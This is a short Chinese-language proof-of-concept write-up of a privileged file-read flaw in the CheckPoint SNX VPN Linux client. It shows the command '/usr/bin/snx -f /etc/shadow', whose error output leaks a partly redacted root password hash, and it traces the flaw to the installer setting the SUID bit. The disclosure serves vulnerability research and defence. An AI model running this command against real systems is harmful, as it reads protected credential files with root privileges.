针对通过 CheckPoint SNX VPN Linux 客户端进行特权文件读取的概念验证(PoC)。
要利用此漏洞,只需使用 -f 参数将任意文件作为 SNX 配置加载。如果该文件不是有效的 SNX 配置,程序将抛出错误并显示语法错误,从而泄露文件内容,直到找到字符串终止符(例如 etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
该漏洞的原因是可执行文件 /usr/bin/snx 在安装时被设置了 SETUID 位并以超级用户身份运行。
具体来说,.sh 安装文件(CheckPointVPN_SNX_Linux_800007075.sh)中定义的变量 COMMAND_TO_RUN 如下:
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
在参数 --mode=u=rxs 中,最后的 s 设置了 SUID 位,从而导致该可执行二进制文件以 root 身份运行。